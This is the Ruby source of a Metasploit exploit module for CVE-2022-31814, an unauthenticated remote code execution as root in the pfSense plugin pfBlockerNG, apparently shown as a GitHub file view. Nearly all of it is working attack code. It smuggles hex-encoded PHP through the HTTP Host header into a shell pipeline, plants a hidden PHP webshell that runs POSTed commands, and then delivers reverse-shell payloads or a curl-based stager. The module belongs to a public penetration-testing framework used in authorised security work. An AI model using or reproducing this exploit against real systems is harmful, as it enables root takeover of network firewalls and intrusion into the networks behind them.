metasploit-framework/modules/exploits/unix/http/pfsense_pfblockerng_webshel...

168 lines
5.3 KiB
Ruby
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'pfSense plugin pfBlockerNG unauthenticated RCE as root',
'Description' => %q{
pfBlockerNG is a popular pfSense plugin that is not installed by default. Its generally used to
block inbound connections from whole countries or IP ranges. Versions 2.1.4_26 and below are affected
by an unauthenticated RCE vulnerability that results in root access. Note that version 3.x is unaffected.
},
'Author' => [
'IHTeam', # discovery
'jheysel-r7' # module
],
'References' => [
[ 'CVE', '2022-31814' ],
[ 'URL', 'https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/'],
[ 'EDB', '51032' ]
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
}
}
],
[
'BSD Dropper',
{
'Platform' => 'bsd',
'Arch' => [ARCH_X64],
'Type' => :bsd_dropper,
'CmdStagerFlavor' => [ 'curl' ],
'DefaultOptions' => {
'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DisclosureDate' => '2022-09-05',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Notes' => {
'Stability' => [ CRASH_SERVICE_DOWN ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
OptString.new('WEBSHELL_NAME', [
false, 'The name of the uploaded webshell sans the ".php" ending. This value will be randomly generated if left unset.', nil
])
]
)
end
def upload_shell
print_status 'Uploading shell...'
if datastore['WEBSHELL_NAME'].blank?
@webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.php"
else
@webshell_name = "#{datastore['WEBSHELL_NAME']}.php"
end
@parameter_name = Rex::Text.rand_text_alpha(4..12)
print_status("Webshell name is: #{@webshell_name}")
web_shell_contents = <<~EOF
<?php echo file_put_contents('/usr/local/www/#{@webshell_name}','<?php echo(passthru($_POST["#{@parameter_name}"]));');
EOF
encoded_php = web_shell_contents.unpack('H*')[0].upcase
send_request_raw(
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
'headers' => {
'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '"
}
)
sleep datastore['WfsDelay']
register_file_for_cleanup("/usr/local/www/#{@webshell_name}")
end
def check
test_file_name = Rex::Text.rand_text_alpha(4..12)
test_file_content = Rex::Text.rand_text_alpha(4..12)
test_injection = <<~EOF
<?php echo file_put_contents('/usr/local/www/#{test_file_name}','#{test_file_content}');
EOF
encoded_php = test_injection.unpack('H*')[0].upcase
send_request_raw(
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
'headers' => {
'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '"
}
)
sleep datastore['WfsDelay']
check_resp = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/#{test_file_name}")
)
return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || !check_resp.code == 200 || !check_resp.body.include?(test_file_content)
# Clean up test webshell "/usr/local/www/#{test_file_name}"
clean_up_injection = <<~EOF
<?php echo unlink('/usr/local/www/#{test_file_name}');
EOF
encoded_clean_up = clean_up_injection.unpack('H*')[0].upcase
send_request_raw(
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
'headers' => {
'Host' => "' *; echo '16i #{encoded_clean_up} P' | dc | php; '"
}
)
Exploit::CheckCode::Vulnerable
end
def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, @webshell_name),
'headers' => {
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8'
},
'vars_post' => {
@parameter_name.to_s => cmd
}
})
end
def exploit
upload_shell
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :bsd_dropper
execute_cmdstager
end
end
end